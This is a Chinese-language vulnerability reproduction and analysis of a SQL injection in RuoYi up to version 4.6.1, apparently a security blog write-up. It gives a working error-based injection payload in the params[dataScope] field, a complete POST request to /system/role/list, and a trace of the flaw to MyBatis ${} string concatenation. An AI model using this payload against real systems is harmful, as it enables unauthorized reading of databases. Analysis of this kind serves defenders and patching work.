漏洞概要
影响版本:RuoYi <= v4.6.1
修复措施和其他情况可参考官方文档
https://doc.ruoyi.vip/ruoyi/document/kslj.html#%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E
漏洞复现
payload
1
| pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
|
POST数据包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| POST /system/role/list HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 213 Connection: close Referer: http://localhost/ Cookie: cookieconsent_status=dismiss; Hm_lvt_c12f88b5c1cd041a732dea597a5ec94c=1609381035; bdshare_firstime=1609381035017; Hm_lvt_d6ceebbfea56af954e58ccea336c10d8=1612666019,1614563564; UM_distinctid=177fbd5550c31-0aacb8a3b601b4-4c3f227c-1fa400-177fbd5550d5d8; CNZZDATA1277972876=1856010917-1614837798-%7C1614837798; Hm_lvt_b60316de6009d5654de7312f772162be=1621413156,1621496582; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off; JSESSIONID=c8071c07-b81a-4b5f-87cd-cc069dd11457 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: cross-site Sec-Fetch-User: ?1
pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms%5BbeginTime%5D=¶ms%5BendTime%5D=¶ms%5BdataScope%5D=and+extractvalue%281%2Cconcat%280x7e%2C%28select+database%28%29%29%2C0x7e%29%29
|
漏洞分析
1.
/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysRoleController
来到/system/role/list对应的方法
传入的参数为SysRole类型
/ruoyi-common/src/main/java/com/ruoyi/common/core/controller/BaseController
startPage方法,调用TableSupport.buildPageRequest(),条件不满足不进入if
/ruoyi-common/src/main/java/com/ruoyi/common/core/buildPageRequest
功能为获取输入的POST参数,如分页数等,没有也不影响注入。
2.
/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysRole.java
来看一下SysRole这个类,dataScope
属性就是注入的payload
3.
/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysRoleMapper.java
进入selectRoleList方法
4.
/ruoyi-system/src/main/resources/mapper/system/SysRoleMappper.xml
这里使用了MyBatis框架,补充一下有关信息
Mybatis框架思想是把SQL语句写入配置文件,避免SQL语句在Java程序中大量出现,方便后续配置。
Mybatis中使用parameterType向SQL语句传参,在SQL中引用传参可以使用${Parameter}
和#{Parameter}
两种方式。#{Parameter}
会使用?占位进行预编译,不存在SQL注入,而${Parameter}采用拼接的方式构造SQL,在过滤不严的情况下存在SQL注入
可以看到${params.dataScope}
被直接拼接入sql语句,造成SQL注入
参考
https://forum.butian.net/share/485